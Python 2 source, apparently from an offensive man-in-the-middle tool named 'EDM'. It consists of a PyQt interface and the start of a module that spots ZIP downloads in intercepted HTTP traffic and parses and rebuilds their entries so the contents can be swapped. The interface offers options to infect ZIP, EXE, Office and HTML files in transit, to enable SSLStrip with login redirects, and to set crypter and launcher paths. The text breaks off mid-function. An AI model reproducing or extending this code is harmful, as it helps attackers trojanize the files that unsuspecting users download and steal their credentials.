font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
self.label_22.setFont(font)
self.label_22.setObjectName(_fromUtf8("label_22"))
self.horizontalLayout_15.addWidget(self.label_22)
self.proxyDirText = QtGui.QTextBrowser(self.layoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.proxyDirText.sizePolicy().hasHeightForWidth())
self.proxyDirText.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.proxyDirText.setFont(font)
self.proxyDirText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.proxyDirText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.proxyDirText.setTabChangesFocus(True)
self.proxyDirText.setUndoRedoEnabled(True)
self.proxyDirText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.proxyDirText.setReadOnly(False)
self.proxyDirText.setOverwriteMode(True)
self.proxyDirText.setAcceptRichText(False)
self.proxyDirText.setObjectName(_fromUtf8("proxyDirText"))
self.horizontalLayout_15.addWidget(self.proxyDirText)
self.proxyDirButton = QtGui.QToolButton(self.layoutWidget_2)
font = QtGui.QFont()
font.setPointSize(9)
self.proxyDirButton.setFont(font)
self.proxyDirButton.setObjectName(_fromUtf8("proxyDirButton"))
self.horizontalLayout_15.addWidget(self.proxyDirButton)
self.layoutWidget_3 = QtGui.QWidget(self.frame_5)
self.layoutWidget_3.setGeometry(QtCore.QRect(10, 60, 621, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.layoutWidget_3.setFont(font)
self.layoutWidget_3.setObjectName(_fromUtf8("layoutWidget_3"))
self.horizontalLayout_16 = QtGui.QHBoxLayout(self.layoutWidget_3)
self.horizontalLayout_16.setMargin(0)
self.horizontalLayout_16.setObjectName(_fromUtf8("horizontalLayout_16"))
self.label_23 = QtGui.QLabel(self.layoutWidget_3)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
self.label_23.setFont(font)
self.label_23.setObjectName(_fromUtf8("label_23"))
self.horizontalLayout_16.addWidget(self.label_23)
self.dns2proxyDirText = QtGui.QTextBrowser(self.layoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.dns2proxyDirText.sizePolicy().hasHeightForWidth())
self.dns2proxyDirText.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.dns2proxyDirText.setFont(font)
self.dns2proxyDirText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.dns2proxyDirText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.dns2proxyDirText.setTabChangesFocus(True)
self.dns2proxyDirText.setUndoRedoEnabled(True)
self.dns2proxyDirText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.dns2proxyDirText.setReadOnly(False)
self.dns2proxyDirText.setOverwriteMode(True)
self.dns2proxyDirText.setAcceptRichText(False)
self.dns2proxyDirText.setObjectName(_fromUtf8("dns2proxyDirText"))
self.horizontalLayout_16.addWidget(self.dns2proxyDirText)
self.dns2proxyDirButton = QtGui.QToolButton(self.layoutWidget_3)
font = QtGui.QFont()
font.setPointSize(9)
self.dns2proxyDirButton.setFont(font)
self.dns2proxyDirButton.setObjectName(_fromUtf8("dns2proxyDirButton"))
self.horizontalLayout_16.addWidget(self.dns2proxyDirButton)
self.label_24 = QtGui.QLabel(self.frame_5)
self.label_24.setGeometry(QtCore.QRect(10, 0, 251, 16))
font = QtGui.QFont()
font.setPointSize(9)
self.label_24.setFont(font)
self.label_24.setObjectName(_fromUtf8("label_24"))
self.layoutWidget_4 = QtGui.QWidget(self.frame_5)
self.layoutWidget_4.setGeometry(QtCore.QRect(10, 120, 621, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.layoutWidget_4.setFont(font)
self.layoutWidget_4.setObjectName(_fromUtf8("layoutWidget_4"))
self.horizontalLayout_17 = QtGui.QHBoxLayout(self.layoutWidget_4)
self.horizontalLayout_17.setMargin(0)
self.horizontalLayout_17.setObjectName(_fromUtf8("horizontalLayout_17"))
self.label_25 = QtGui.QLabel(self.layoutWidget_4)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
self.label_25.setFont(font)
self.label_25.setObjectName(_fromUtf8("label_25"))
self.horizontalLayout_17.addWidget(self.label_25)
self.tmpDirText = QtGui.QTextBrowser(self.layoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.tmpDirText.sizePolicy().hasHeightForWidth())
self.tmpDirText.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.tmpDirText.setFont(font)
self.tmpDirText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.tmpDirText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.tmpDirText.setTabChangesFocus(True)
self.tmpDirText.setUndoRedoEnabled(True)
self.tmpDirText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.tmpDirText.setLineWrapColumnOrWidth(0)
self.tmpDirText.setReadOnly(False)
self.tmpDirText.setOverwriteMode(True)
self.tmpDirText.setAcceptRichText(False)
self.tmpDirText.setObjectName(_fromUtf8("tmpDirText"))
self.horizontalLayout_17.addWidget(self.tmpDirText)
self.tmpButton = QtGui.QToolButton(self.layoutWidget_4)
font = QtGui.QFont()
font.setPointSize(9)
self.tmpButton.setFont(font)
self.tmpButton.setObjectName(_fromUtf8("tmpButton"))
self.horizontalLayout_17.addWidget(self.tmpButton)
self.launchDNS2Proxy = QtGui.QCheckBox(self.frame_5)
self.launchDNS2Proxy.setGeometry(QtCore.QRect(10, 90, 295, 20))
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
font.setKerning(True)
self.launchDNS2Proxy.setFont(font)
self.launchDNS2Proxy.setObjectName(_fromUtf8("launchDNS2Proxy"))
self.frame_2 = QtGui.QFrame(self.PROXYconf)
self.frame_2.setGeometry(QtCore.QRect(10, 350, 651, 101))
font = QtGui.QFont()
font.setPointSize(9)
self.frame_2.setFont(font)
self.frame_2.setFrameShape(QtGui.QFrame.StyledPanel)
self.frame_2.setFrameShadow(QtGui.QFrame.Raised)
self.frame_2.setObjectName(_fromUtf8("frame_2"))
self.label_10 = QtGui.QLabel(self.frame_2)
self.label_10.setGeometry(QtCore.QRect(20, 10, 211, 16))
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
font.setKerning(True)
self.label_10.setFont(font)
self.label_10.setObjectName(_fromUtf8("label_10"))
self.InfoSistemaText = QtGui.QTextBrowser(self.frame_2)
self.InfoSistemaText.setGeometry(QtCore.QRect(10, 30, 631, 211))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.InfoSistemaText.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.InfoSistemaText.setFont(font)
self.InfoSistemaText.setLineWidth(0)
self.InfoSistemaText.setObjectName(_fromUtf8("InfoSistemaText"))
self.LoadConfProxy = QtGui.QPushButton(self.PROXYconf)
self.LoadConfProxy.setGeometry(QtCore.QRect(10, 461, 171, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.LoadConfProxy.setFont(font)
self.LoadConfProxy.setObjectName(_fromUtf8("LoadConfProxy"))
self.SaveConfProxy = QtGui.QPushButton(self.PROXYconf)
self.SaveConfProxy.setGeometry(QtCore.QRect(200, 461, 211, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.SaveConfProxy.setFont(font)
self.SaveConfProxy.setObjectName(_fromUtf8("SaveConfProxy"))
self.AutoSaveConfigsCheckBox = QtGui.QCheckBox(self.PROXYconf)
self.AutoSaveConfigsCheckBox.setGeometry(QtCore.QRect(420, 460, 261, 21))
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
font.setKerning(True)
self.AutoSaveConfigsCheckBox.setFont(font)
self.AutoSaveConfigsCheckBox.setObjectName(_fromUtf8("AutoSaveConfigsCheckBox"))
self.tabWidget.addTab(self.PROXYconf, _fromUtf8(""))
self.LaunchButton = QtGui.QCommandLinkButton(self.centralwidget)
self.LaunchButton.setGeometry(QtCore.QRect(850, 600, 121, 35))
font = QtGui.QFont()
font.setFamily(_fromUtf8("Segoe UI"))
font.setPointSize(9)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
font.setStrikeOut(False)
self.LaunchButton.setFont(font)
self.LaunchButton.setIconSize(QtCore.QSize(60, 60))
self.LaunchButton.setAutoDefault(True)
self.LaunchButton.setDefault(True)
self.LaunchButton.setObjectName(_fromUtf8("LaunchButton"))
self.ProxySilentMode = QtGui.QCheckBox(self.centralwidget)
self.ProxySilentMode.setGeometry(QtCore.QRect(1020, 250, 101, 17))
font = QtGui.QFont()
font.setPointSize(9)
self.ProxySilentMode.setFont(font)
self.ProxySilentMode.setChecked(True)
self.ProxySilentMode.setObjectName(_fromUtf8("ProxySilentMode"))
self.layoutWidget3 = QtGui.QWidget(self.centralwidget)
self.layoutWidget3.setGeometry(QtCore.QRect(1020, 30, 170, 191))
font = QtGui.QFont()
font.setPointSize(9)
self.layoutWidget3.setFont(font)
self.layoutWidget3.setObjectName(_fromUtf8("layoutWidget3"))
self.verticalLayout_5 = QtGui.QVBoxLayout(self.layoutWidget3)
self.verticalLayout_5.setMargin(0)
self.verticalLayout_5.setObjectName(_fromUtf8("verticalLayout_5"))
self.InfectZIP = QtGui.QCheckBox(self.layoutWidget3)
font = QtGui.QFont()
font.setPointSize(9)
self.InfectZIP.setFont(font)
self.InfectZIP.setObjectName(_fromUtf8("InfectZIP"))
self.verticalLayout_5.addWidget(self.InfectZIP)
self.InfectEXE = QtGui.QCheckBox(self.layoutWidget3)
font = QtGui.QFont()
font.setPointSize(9)
self.InfectEXE.setFont(font)
self.InfectEXE.setObjectName(_fromUtf8("InfectEXE"))
self.verticalLayout_5.addWidget(self.InfectEXE)
self.InfectOOXML = QtGui.QCheckBox(self.layoutWidget3)
font = QtGui.QFont()
font.setPointSize(9)
self.InfectOOXML.setFont(font)
self.InfectOOXML.setObjectName(_fromUtf8("InfectOOXML"))
self.verticalLayout_5.addWidget(self.InfectOOXML)
self.InfectHTML = QtGui.QCheckBox(self.layoutWidget3)
font = QtGui.QFont()
font.setPointSize(9)
self.InfectHTML.setFont(font)
self.InfectHTML.setObjectName(_fromUtf8("InfectHTML"))
self.verticalLayout_5.addWidget(self.InfectHTML)
self.ActivateSSLSTRIP = QtGui.QCheckBox(self.layoutWidget3)
font = QtGui.QFont()
font.setPointSize(9)
self.ActivateSSLSTRIP.setFont(font)
self.ActivateSSLSTRIP.setObjectName(_fromUtf8("ActivateSSLSTRIP"))
self.verticalLayout_5.addWidget(self.ActivateSSLSTRIP)
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtGui.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 1152, 22))
self.menubar.setObjectName(_fromUtf8("menubar"))
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtGui.QStatusBar(MainWindow)
self.statusbar.setObjectName(_fromUtf8("statusbar"))
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
self.tabWidget.setCurrentIndex(0)
self.ZIPConfTab.setCurrentIndex(0)
self.ooxmlTabs.setCurrentIndex(0)
self.ZIPConfTab_6.setCurrentIndex(0)
self.ZIPConfTab_7.setCurrentIndex(0)
self.ZIPConfTab_8.setCurrentIndex(0)
self.ZIPConfTab_9.setCurrentIndex(0)
self.tabWidget_2.setCurrentIndex(0)
QtCore.QObject.connect(self.CleanLog, QtCore.SIGNAL(_fromUtf8("clicked()")), self.ProxyOutput.clear)
QtCore.QObject.connect(self.zoomIN, QtCore.SIGNAL(_fromUtf8("clicked()")), self.ProxyOutput.zoomIn)
QtCore.QObject.connect(self.zoomOUT, QtCore.SIGNAL(_fromUtf8("clicked()")), self.ProxyOutput.zoomOut)
QtCore.QObject.connect(self.ActivateSSLSTRIP, QtCore.SIGNAL(_fromUtf8("clicked(bool)")), self.InfectHTML.setChecked)
QtCore.QObject.connect(self.DNSzoomIN, QtCore.SIGNAL(_fromUtf8("clicked()")), self.DNSOutput.zoomIn)
QtCore.QObject.connect(self.DNSzoomOUT, QtCore.SIGNAL(_fromUtf8("clicked()")), self.DNSOutput.zoomOut)
QtCore.QObject.connect(self.DNSCleanLog, QtCore.SIGNAL(_fromUtf8("clicked()")), self.DNSOutput.clear)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate("MainWindow", "EDM", None))
self.SaveLogButton.setText(_translate("MainWindow", lang[22], None))
self.CleanLog.setText(_translate("MainWindow", lang[36], None))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.Proxy), _translate("MainWindow", lang[45], None))
self.DNSCleanLog.setText(_translate("MainWindow", lang[36], None))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.DNS2Proxy), _translate("MainWindow", "DNS2Proxy", None))
self.TableZipModFiles.setSortingEnabled(True)
item = self.TableZipModFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[38], None))
item = self.TableZipModFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[14], None))
item = self.TableZipModFiles.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", lang[53], None))
item = self.TableZipModFiles.horizontalHeaderItem(4)
item.setText(_translate("MainWindow", lang[54], None))
item = self.TableZipModFiles.horizontalHeaderItem(5)
item.setText(_translate("MainWindow", lang[39], None))
item = self.TableZipModFiles.horizontalHeaderItem(6)
item.setText(_translate("MainWindow", lang[44], None))
self.AddFileZipConfMod.setText(_translate("MainWindow", lang[37], None))
self.ZIPConfTab.setTabText(self.ZIPConfTab.indexOf(self.ZIPConfMod), _translate("MainWindow", lang[21], None))
self.TableZipAddFiles.setSortingEnabled(True)
item = self.TableZipAddFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[51], None))
item = self.TableZipAddFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[52], None))
self.AddFileZipConfAdd.setText(_translate("MainWindow", lang[19], None))
self.ZIPConfTab.setTabText(self.ZIPConfTab.indexOf(self.ZipConfAdd), _translate("MainWindow", lang[20], None))
self.ZipSaveButton.setText(_translate("MainWindow", lang[23], None))
self.ZipLoadButton.setText(_translate("MainWindow", lang[2], None))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.ZIPconf), _translate("MainWindow", lang[8], None))
self.TableDocxModFiles.setSortingEnabled(True)
item = self.TableDocxModFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[38], None))
item = self.TableDocxModFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[54], None))
item = self.TableDocxModFiles.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", lang[39], None))
self.AddFileDocxConfMod.setText(_translate("MainWindow", lang[37], None))
self.ZIPConfTab_6.setTabText(self.ZIPConfTab_6.indexOf(self.ZIPConfMod_7), _translate("MainWindow", lang[21], None))
self.TableDocxAddFiles.setSortingEnabled(True)
item = self.TableDocxAddFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[50], None))
item = self.TableDocxAddFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[18], None))
self.AddFileDocxConfAdd.setText(_translate("MainWindow", lang[19], None))
self.ZIPConfTab_6.setTabText(self.ZIPConfTab_6.indexOf(self.ZipConfAdd_7), _translate("MainWindow", lang[20], None))
self.ooxmlTabs.setTabText(self.ooxmlTabs.indexOf(self.docx), _translate("MainWindow", "docx", None))
self.TableXlsxModFiles.setSortingEnabled(True)
item = self.TableXlsxModFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[38], None))
item = self.TableXlsxModFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[54], None))
item = self.TableXlsxModFiles.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", lang[39], None))
self.AddModXlsxButton.setText(_translate("MainWindow", lang[37], None))
self.ZIPConfTab_7.setTabText(self.ZIPConfTab_7.indexOf(self.ZIPConfMod_8), _translate("MainWindow", lang[21], None))
self.TableXlsxAddFiles.setSortingEnabled(True)
item = self.TableXlsxAddFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[50], None))
item = self.TableXlsxAddFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[18], None))
self.AddFileXlsxButton.setText(_translate("MainWindow", lang[19], None))
self.ZIPConfTab_7.setTabText(self.ZIPConfTab_7.indexOf(self.ZipConfAdd_8), _translate("MainWindow", lang[20], None))
self.ooxmlTabs.setTabText(self.ooxmlTabs.indexOf(self.xlsx), _translate("MainWindow", "xlsx", None))
self.TablePptxModFiles.setSortingEnabled(True)
item = self.TablePptxModFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[38], None))
item = self.TablePptxModFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[54], None))
item = self.TablePptxModFiles.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", lang[39], None))
self.AddModPptxButton.setText(_translate("MainWindow", lang[37], None))
self.ZIPConfTab_8.setTabText(self.ZIPConfTab_8.indexOf(self.ZIPConfMod_9), _translate("MainWindow", lang[21], None))
self.TablePptxAddFiles.setSortingEnabled(True)
item = self.TablePptxAddFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[50], None))
item = self.TablePptxAddFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[18], None))
self.AddFilePptxButton.setText(_translate("MainWindow", lang[19], None))
self.ZIPConfTab_8.setTabText(self.ZIPConfTab_8.indexOf(self.ZipConfAdd_9), _translate("MainWindow", lang[20], None))
self.ooxmlTabs.setTabText(self.ooxmlTabs.indexOf(self.pptx), _translate("MainWindow", "pptx", None))
self.TablePpsxModFiles.setSortingEnabled(True)
item = self.TablePpsxModFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[38], None))
item = self.TablePpsxModFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[54], None))
item = self.TablePpsxModFiles.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", lang[39], None))
self.AddModPpsxButton.setText(_translate("MainWindow", lang[37], None))
self.ZIPConfTab_9.setTabText(self.ZIPConfTab_9.indexOf(self.ZIPConfMod_10), _translate("MainWindow", lang[21], None))
self.TablePpsxAddFiles.setSortingEnabled(True)
item = self.TablePpsxAddFiles.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[50], None))
item = self.TablePpsxAddFiles.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[18], None))
self.AddFilePpsxButton.setText(_translate("MainWindow", lang[19], None))
self.ZIPConfTab_9.setTabText(self.ZIPConfTab_9.indexOf(self.ZipConfAdd_10), _translate("MainWindow", lang[20], None))
self.ooxmlTabs.setTabText(self.ooxmlTabs.indexOf(self.pptsx), _translate("MainWindow", "pptsx", None))
self.OOXMLLoadButton.setText(_translate("MainWindow", lang[2], None))
self.OOXMLSaveButton.setText(_translate("MainWindow", lang[23], None))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.ooxmlconf), _translate("MainWindow", lang[6], None))
self.PeLoadButton.setText(_translate("MainWindow", lang[2], None))
self.PeSaveButton.setText(_translate("MainWindow", lang[23], None))
self.label_6.setText(_translate("MainWindow", lang[9], None))
self.label.setText(_translate("MainWindow", lang[33], None))
self.label_2.setText(_translate("MainWindow", lang[16], None))
self.label_3.setText(_translate("MainWindow", lang[25], None))
self.label_4.setText(_translate("MainWindow", lang[15], None))
self.label_5.setText(_translate("MainWindow", lang[17], None))
self.AddCrypterButton.setText(_translate("MainWindow", "...", None))
self.AddLauncherButton.setText(_translate("MainWindow", "...", None))
self.AddOutputButton.setText(_translate("MainWindow", "...", None))
self.AddMontoolButton.setText(_translate("MainWindow", "...", None))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.EXEconf), _translate("MainWindow", lang[4], None))
item = self.TableDomSSLStrip.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[64], None))
item = self.TableDomSSLStrip.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[62], None))
item = self.TableTransSSLStrip.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[64], None))
item = self.TableTransSSLStrip.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[62], None))
self.TableRedirSSLStrip.setSortingEnabled(True)
item = self.TableRedirSSLStrip.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[59], None))
item = self.TableRedirSSLStrip.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[61], None))
item = self.TableRedirSSLStrip.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", lang[60], None))
item = self.TableRedirSSLStrip.horizontalHeaderItem(4)
item.setText(_translate("MainWindow", lang[66], None))
self.AddDomSSLStrip.setText(_translate("MainWindow", lang[58], None))
self.AddRedirSSLStrip.setText(_translate("MainWindow", lang[48], None))
self.AddTransSSLStrip.setText(_translate("MainWindow", lang[57], None))
self.login_exito_redir.setText(_translate("MainWindow", lang[49], None))
item = self.TableKeywSSLStrip.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[65], None))
item = self.TableTargetsSSLStrip.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[63], None))
self.AddTargetsSSLStrip.setText(_translate("MainWindow", lang[40], None))
self.AddKeywordSSLStrip.setText(_translate("MainWindow", lang[42], None))
self.label_26.setText(_translate("MainWindow", lang[43], None))
self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.SSLStrip), _translate("MainWindow", "SSLStrip", None))
self.TableHTMLChange.setSortingEnabled(True)
item = self.TableHTMLChange.horizontalHeaderItem(1)
item.setText(_translate("MainWindow", lang[38], None))
item = self.TableHTMLChange.horizontalHeaderItem(2)
item.setText(_translate("MainWindow", lang[56], None))
item = self.TableHTMLChange.horizontalHeaderItem(3)
item.setText(_translate("MainWindow", lang[55], None))
item = self.TableHTMLChange.horizontalHeaderItem(4)
item.setText(_translate("MainWindow", lang[1], None))
self.AddHTMLChange.setText(_translate("MainWindow", lang[37], None))
self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.htmlMOD), _translate("MainWindow", lang[24], None))
self.HTMLLoadButton.setText(_translate("MainWindow", lang[2], None))
self.HTMLSaveButton.setText(_translate("MainWindow", lang[23], None))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.HTMLconf), _translate("MainWindow", lang[5], None))
self.label_11.setText(_translate("MainWindow", lang[41], None))
self.label_7.setText(_translate("MainWindow", lang[46], None))
self.label_8.setText(_translate("MainWindow", lang[32], None))
self.iptablesCheckBox.setText(_translate("MainWindow", lang[35], None))
self.label_9.setText(_translate("MainWindow", lang[13], None))
self.iptablesPathButton.setText(_translate("MainWindow", "...", None))
self.label_22.setText(_translate("MainWindow", lang[11], None))
self.proxyDirButton.setText(_translate("MainWindow", "...", None))
self.label_23.setText(_translate("MainWindow", lang[10], None))
self.dns2proxyDirButton.setText(_translate("MainWindow", "...", None))
self.label_24.setText(_translate("MainWindow", lang[47], None))
self.label_25.setText(_translate("MainWindow", lang[12], None))
self.tmpButton.setText(_translate("MainWindow", "...", None))
self.launchDNS2Proxy.setText(_translate("MainWindow", lang[34], None))
self.label_10.setText(_translate("MainWindow", lang[30], None))
self.LoadConfProxy.setText(_translate("MainWindow", lang[2], None))
self.SaveConfProxy.setText(_translate("MainWindow", lang[23], None))
self.AutoSaveConfigsCheckBox.setText(_translate("MainWindow", lang[3], None))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.PROXYconf), _translate("MainWindow", lang[7], None))
self.LaunchButton.setText(_translate("MainWindow", lang[31], None))
self.ProxySilentMode.setText(_translate("MainWindow", "Debug ON", None))
self.InfectZIP.setText(_translate("MainWindow", lang[29], None))
self.InfectEXE.setText(_translate("MainWindow", lang[26], None))
self.InfectOOXML.setText(_translate("MainWindow", lang[28], None))
self.InfectHTML.setText(_translate("MainWindow", lang[27], None))
self.ActivateSSLSTRIP.setText(_translate("MainWindow", lang[0], None))
<file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*-
# http://eos.wdcb.ru/eps2/eps02018/htm02018.zip
#
import sys, struct, zlib, re, os
import zipfile, zlib
import string, random
import struct
import tempfile
import json
import subprocess
ZIPContentTypes = ['application/zip', 'application/x-zip-compressed']
genericZIPContentTypes = ['application/octet-stream']
MIN_ZIP_SIZE = 1000
def ZIPCheck(headers, uri, buffer):
if "content-length" in headers:
if int(headers["content-length"]) < MIN_ZIP_SIZE :
return False
else:
return False
if buffer[:2] != 'PK':
return False
contenttype = headers["content-type"]
if contenttype in ZIPContentTypes:
return True
if contenttype in genericZIPContentTypes:
if '.zip' in uri.lower():
return True
if 'content-disposition' in headers:
if '.zip' in headers['content-disposition'].lower():
return True
return False
def randomword(length):
return ''.join(random.choice(string.lowercase) for i in range(length))
class BloqueLFH:
'''
Almacenamiento y tratamiendo de datos de los bloques Local File Header y File Data.
'''
ESTRUCTURA_CABECERA = "<4s2B4HL2L2H"
TAMANO_CABECERA = None
FIRMA = "PK\003\004"
_CIDX_FIRMA = 0
_CIDX_FLAGS = 3
_CIDX_COMPRESION = 4
_CIDX_CRC = 7
_CIDX_COMPRIMIDO = 8
_CIDX_DESCOMPRIMIDO = 9
_CIDX_NOMBRE_LENGTH = 10
_CIDX_EXTRA_LENGTH = 11
TIMEDATE = 10
def __init__(self):
self.TAMANO_CABECERA = struct.calcsize(self.ESTRUCTURA_CABECERA)
self.cabecera = None
self.sobrante = ""
self.contenido = None
self.nombre = None
self.extra = None
self.datetime = None
self.size = 0
def datosBasicos(self):
return { self.nombre : [
self.cabecera[self._CIDX_COMPRIMIDO],
self.cabecera[self._CIDX_DESCOMPRIMIDO],
self.cabecera[self._CIDX_CRC]
]
}
def inicializa(self, datos):
try:
if len(datos) < self.TAMANO_CABECERA:
self.sobrante = datos
return -1
# cabecera
aux = datos[:self.TAMANO_CABECERA]
sdatos = len(datos)
self.cabecera = struct.unpack(self.ESTRUCTURA_CABECERA, aux)
inicio_datos = self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] + self.cabecera[self._CIDX_EXTRA_LENGTH]
self.nombre = None
# campos de longitud variable en cabecera
if sdatos < inicio_datos:
self.sobrante = datos
return -1
self.nombre = datos[ self.TAMANO_CABECERA : self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] ]
self.extra = datos[ self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] : self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] + self.cabecera[self._CIDX_EXTRA_LENGTH]]
self.datetime =datos[self.TIMEDATE: self.TIMEDATE+4]
# stream de contenido
size_datos = self.cabecera[self._CIDX_COMPRIMIDO]
self.size = inicio_datos + size_datos
if sdatos < self.size:
self.sobrante = datos
return -1 ## bloque incompleto
elif sdatos > self.size:
self.contenido = datos[inicio_datos : self.size]
self.sobrante = datos[self.size : ]
if sdatos - self.size <= 4:
# print "Resultado -2 (%s) len(datos) - inicio_datos - size_datos: " % self.nombre, len(datos) - inicio_datos - size_datos
return -2
# print "Inicializa %s : datos %d inicio_datos %d size_datos %d" % (self.nombre, len(datos), inicio_datos, size_datos)
# print "Sobrante (%d): %s" % (len(self.sobrante), str(self.sobrante[:6].encode('hex')))
# print
return 1 ## datos sobrantes en bloque
else:
self.contenido = datos[inicio_datos : ]
self.sobrante = ''
return 0 ## bloque exacto
except Exception, e:
self.sobrante = datos
print "Error inicialia LFH %s: %s" % (Exception,e )
#print "Inicializa %s : %s" % (Exception, e)
return -1 ## unpack error, bloque incompleto
def serializa(self):
devolver = struct.pack(self.ESTRUCTURA_CABECERA, *self.cabecera) + self.nombre + self.extra + self.contenido
return devolver
def extraeStreamDescomprimido(self):
return zlib.decompress(self.contenido, -15)
def actualizaGenerico(self, elQue, aPartirDeDonde, conNombre, condicional = False):
if aPartirDeDonde != '':
print "Actualizando sustituyendo cadenas...."
# descomprimir
try:
original = self.extraeStreamDescomprimido()
except Exception, e:
